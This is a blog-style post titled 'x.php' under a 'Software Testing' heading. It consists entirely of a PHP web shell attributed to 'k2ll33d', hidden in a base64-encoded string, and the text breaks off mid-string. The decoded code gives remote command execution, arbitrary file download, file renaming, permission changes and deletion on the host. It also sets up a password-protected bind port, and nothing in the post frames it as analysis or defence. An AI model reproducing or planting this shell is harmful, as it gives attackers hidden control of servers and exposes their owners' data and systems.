Software Testing

x.php

Testing Reflections - Wed, 12/10/2014 - 06:34
<?php // fb/k2ll33d $k2ll33d='Ly8gYnkgazJsbDMzZCAvIGZiL2sybGwzM2QNCnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsNCmlmKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKXskZmlsZSA9ICRfR0VUWyJkbCJdOyRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxleikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nIi5iYXNlbmFtZSgkZmlsZSkuIic7Iik7ZWNobyAkZmlsZXo7ZXhpdDt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyJkbGd6aXAiXSkgJiYgKCRfR0VUWyJkbGd6aXAiXSAhPSAiIikpeyRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOyRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGV6KSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciLmJhc2VuYW1lKCRmaWxlKS4iLmd6JzsiKTtlY2hvICRmaWxlejtleGl0O30gDQppZihpc3NldCgkX0dFVFsiaW1nIl0pKXtAb2JfY2xlYW4oKTskZCA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTskZiA9ICRfR0VUWyJpbWciXTskaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTskZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTtAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTtAcmVhZGZpbGUoJGQuJGYpO2V4aXQ7fSAkc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgJHNhZmVtb2RlID0gVFJVRTtlbHNlICRzYWZlbW9kZSA9IEZBTFNFOyRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikNCiR3aW4gPSBUUlVFO2Vsc2UgJHdpbiA9IEZBTFNFO2lmKGlzc2V0KCRfR0VUWyd5J10pKXtpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXskcHdkID0gJF9HRVRbJ3ZpZXcnXTtAY2hkaXIoJHB3ZCk7fSBlbHNleyRwd2QgPSAkX0dFVFsneSddO0BjaGRpcigkcHdkKTt9IH0gDQppZighJHdpbil7aWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpJHVzZXIgPSAiIjtpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7JHByb21wdCA9ICR1c2VyLiIgXCQgIjskcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSANCmVsc2UgeyR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTskaWQgPSAkdXNlcjskcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjskcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOyR2ID0gZXhwbG9kZSgiXFwiLCRkKTskdiA9ICR2WzBdO2ZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHskYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7aWYgKCRib29sKXskbGV0dGVycyAuPSAiPGEgaHJlZj0nP3k9Ii4kbGV0dGVyLiI6XFwnPlsgIjtpZiAoJGxldHRlci4iOiIgIT0gJHYpeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9J2dheWEnPiIuJGxldHRlci4iPC9zcGFuPiI7fSAkbGV0dGVycyAuPSAiIF08L2E+ICI7fX19IA0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7JHNlcnZlcl9pcCA9IEBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7JG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGJpbmRwb3J0ID0gIjEzMTIzIjskYmluZHBvcnRfcGFzcyA9ICJrMmxsMzNkIjskcHdkcyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskcHdkdXJsID0gIiI7Zm9yKCRpID0gMCA7JGkgPCBzaXplb2YoJHB3ZHMpLTEgOyRpKyspeyRwYXRoeiA9ICIiO2ZvcigkaiA9IDAgOyRqIDw9ICRpIDskaisrKXskcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSAkcHdkdXJsIC49ICI8YSBocmVmPSc/eT0iLiRwYXRoei4iJz4iLiRwd2RzWyRpXS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iO30gDQppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7JG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOyRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTtAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOyRmaWxlID0gJHB3ZC4kbmV3O30JaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IA0KJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTskdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107aWYgKHN0cmxlbigkdmFsdWUpPT0zKXskdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fUBjaG1vZCgkcHdkLiRuYW1lLG9jdGRlYygkdmFsdWUpKTskZmlsZSA9ICRwd2QuJG5hbWU7fQ0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZF9mb2xkZXInXSkpeyRuYW1lID0gJF9QT1NUWyduYW1lJ107JHZhbHVlID0gJF9QT1NUWyduZXd2YWx1ZSddO2lmIChzdHJsZW4oJHZhbHVlKT09Myl7JHZhbHVlID0gMCAuICIiIC4gJHZhbHVlO31AY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7JGZpbGUgPSAkcHdkLiRuYW1lO30gJGJ1ZmYgPSAiJm5ic3A7Ii4kc29mdHdhcmUuIjxicj4iOyRidWZmIC49ICImbmJzcDsiLiRzeXN0ZW0uIjxicj4iO2lmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIiZuYnNwOyIuJGlkLiI8YnI+IjtpZigkc2FmZW1vZGUpICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9OPC9mb250PjwvYj48YnI+IjtlbHNlICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9GRjwvZm9udD48L2I+PGJyPiI7DQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCiRidWZmIC49ICImbmJzcDtNeVNRTDogIi50ZXN0bXlzcWwoKS4iJm5ic3A7fCZuYnNwO1Blcmw6ICIudGVzdHBlcmwoKS4iJm5ic3A7fCZuYnNwO2NVUkw6ICIudGVzdGN1cmwoKS4iJm5ic3A7fCZuYnNwO1dHZXQ6ICIudGVzdHdnZXQoKS4iPGJyPiI7DQokYnVmZiAuPSAiJm5ic3A7Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsIiIsJHRleHQpKTt9IA0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe3JldHVybiAkdGV4dDt9IHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpO30gDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7JGZuYW1lID0gYXJyYXkoKTskZG5hbWUgPSBhcnJheSgpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgDQokcG9zaXggPSBUUlVFO2Vsc2UgJHBvc2l4ID0gRkFMU0U7JHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCmlmKCRkaCA9IG9wZW5kaXIoJHB3ZCkpe3doaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKXsNCmlmKGlzX2RpcigkZmlsZSkpeyRkbmFtZVtdID0gJGZpbGU7fSANCmVsc2VpZihpc19maWxlKCRmaWxlKSl7JGZuYW1lW10gPSAkZmlsZTt9fWNsb3NlZGlyKCRkaCk7fSBzb3J0KCRmbmFtZSk7c29ydCgkZG5hbWUpOyRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskdHJlZSA9IEBzaXplb2YoJHBhdGgpOyRwYXJlbnQgPSAiIjsNCiRidWZmID0gIiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsJyBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdtYXJnaW46OHB4IDAgMCAwOyc+PHRhYmxlIGNsYXNzPSdjbWRib3gnIHN0eWxlPSd3aWR0aDo1MCU7Jz48dHI+PHRkPiRwcm9tcHQ8L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9J3RoaXMuZm9jdXMoKTsnIGlkPSdjbWQnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRG8gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC90ZD48L3RyPjwvZm9ybT48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3knIHZhbHVlPSciLiRwd2QuIicgLz48dHI+PHRkPnZpZXcgZmlsZS9mb2xkZXI8L3RkPjxjZW50ZXI+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj0ndGhpcy5mb2N1cygpOycgaWQ9J2dvdG8nIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3ZpZXcnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbHVlPSciLiRwd2QuIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5zaXplPC90aD48dGggc3R5bGU9J3dpZHRoOjIxMHB4Oyc+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT0nd2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjExMHB4Oyc+bW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOw0KaWYoJHRyZWUgPiAyKSANCmZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsNCmVsc2UgJHBhcmVudCA9ICRwd2Q7DQpmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsNCmlmKCRmb2xkZXIgPT0gIi4iKSB7DQppZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOyRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7JG93bmVyID0gJHVzZXI7fQ0KJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPg0KPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQo8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+DQo8L3NwYW4+PGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IA0KPC9mb3JtPjwvdGQ+PC90cj4gIjt9IA0KZWxzZWlmKCRmb2xkZXIgPT0gIi4uIil7IA0KaWYoISR3aW4gJiYgJHBvc2l4KQ0KeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPg0KPGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPg0KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPg0KPHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4gDQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gDQo8L2Zvcm0+PC90ZD48L3RyPiI7fWVsc2V7aWYoISR3aW4gJiYgJHBvc2l4KXsgDQokbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7IA0KJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsgDQokb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7ICRvd25lciA9ICR1c2VyOyB9DQokYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCR2RCVFVFQUFMR1BDL3hoQlFBQUFBbHdTRmx6QUFBT3dnQUFEc0lCRlNoS2dBQUFBQnAwUlZoMFUyOW1kSGRoY21VQVVHRnBiblF1VGtWVUlIWXpMalV1TVRBdzlIS2hBQUFDa1VsRVFWUTRUOFdUMlV2VVVSekZ6Mk5SVDVwYWI5WkRZWk5NTGpOcTZyZzFGcWhsNWN3OHFBKzJrSm1CZ3hLVWhWcFc0eTZGWmJsa2FSUk9wa1FMSVRLRzFFUmhDNUpNdWFWbXp1UVdCRDNlMjduTjBEL1FRei80OFAxKzd6bm5lKy9MRC9qdm4xNFh0VVlYcVUrTzBrZWJZMk5pTGZGeEJrdWlJY21TbkpSaU1lNU10ZXhLM1cwMnBoak5TWW5KWmtOOGdpa21lb2VKR1JNelJyMU92eFpiUXpUQlpDQlVFK29KRDR2d2NKRW5OaWJPWTRoTDhIQ1JKekVoNlUvUE16YzFkL2oyQ1BjMlRhaWJtU0ZOaUdZVDdoVDduYnlVNTc5eTRkQTZXWFVzUU5hY0NKUjFSWUd5b1RoSU5wWnM4TEZlMWx1RC9taTIvQUJaZWRCZjJ2TDhmblNWK0pkaG9oWlBKK3NndjE2SDlOeUdYT3lHWEg0QXVkTExldGZMU2g4clo2VXBqL0pPTVROUkF3ZkdhOUEzV2V0YjBPbGJRUFBTZmZaZFhwYlovMTFBajFxZ011UFZlSVl4RzdyR2JaQXpUWkR6SFpEZmVlT2luZHhqZjVNM3RrTXVNTFRFc3dWcXlqTnpsZUVxU0daNzRLckVaVmNGbjFRUE1jZk43ZzRJUGxQTU4wTjhhL0l5Ujl4dGhKcnlURFZBdU01QnVzNmpCYVBsS0I4NXhXMFhJYVliK2J4cmtMTlhJTDVVUXhKVnhSUmZPTTBMWm5tejhpaXZ5b3lXd1lhUlVoUzhMWUw0V0FyeHVSSmlvb3ExQXVMVEdSOW5PWmQ1ejVRMlJvL3lxc3pJYVZneGJFWG15OE9RYndvaDNwZEF2ck5DdkQ0S01Yd2NjcmlBVlZGSVBSL2lRekdoUjNsZk1NT3NDWTRjaFBWYjhKUEl3VnpJNXptUUEyYUkvDQppek83QWV6T1ZOelpFTU01VkduUjNuSkwwY3VJbkVySGNIMkRIVGIwK0RzemNTcmgxbHdQamI3c01ENWhLajVrUWxPcGZYUlkwK0hzenNEUFowWjJJamNNS3l1VHNYbTVqUm9iK3lCdG5VZnRHMEhTQmEwN1FxVHQ3YnU5Mm90ZTZGdFRvZVdtUzFIZEZqMXp6L3piOVpxbWxaODY2WTZBQUFBQUVsRlRrU3VRbUNDJyAvPiAgWyAkZm9sZGVyIF08L2E+IA0KPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+DQo8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTNcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZF9mb2xkZXJcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgDQpvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZmRlbGV0ZT0iLiRwd2QuJGZvbGRlci4iXCI+ZGVsZXRlPC9hPg0KPC90ZD4NCjwvdHI+Ijt9fWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsgDQokZnVsbCA9ICRwd2QuJGZpbGU7IA0KaWYoISR3aW4gJiYgJHBvc2l4KXskbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBUm5RVTFCQUFDeGp3djhZUVVBQUFBSmNFaFpjd0FBRHNNQUFBN0RBY2R2cUdRQUFBQWFkRVZZZEZOdlpuUjNZWEpsQUZCaGFXNTBMazVGVkNCMk15NDFMakV3TVBSeW9RQUFBWF